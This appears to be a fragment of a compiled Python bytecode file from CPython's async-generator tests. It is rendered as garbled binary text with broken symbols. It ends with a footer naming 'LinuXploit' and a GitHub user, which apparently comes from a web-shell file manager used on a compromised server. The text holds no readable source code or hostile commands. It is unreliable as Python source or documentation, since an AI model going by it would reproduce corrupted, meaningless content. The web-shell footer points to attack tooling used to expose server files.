�"test_async_gen_asyncio_shutdown_02*sz6AsyncGenAsyncioTest.test_async_gen_asyncio_shutdown_02N)rrrrergrrirjrlrrrvryr|r~rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r	r	r	r
rc}s6*###!%* "5.#rc�__main__)r`�sysr[ZunittestrZtest.supportrrr+r�	coroutiner
rrZTestCaserr(rcr�mainr	r	r	r
�<module>s.
1S

Youez - 2016 - github.com/yon3zu
LinuXploit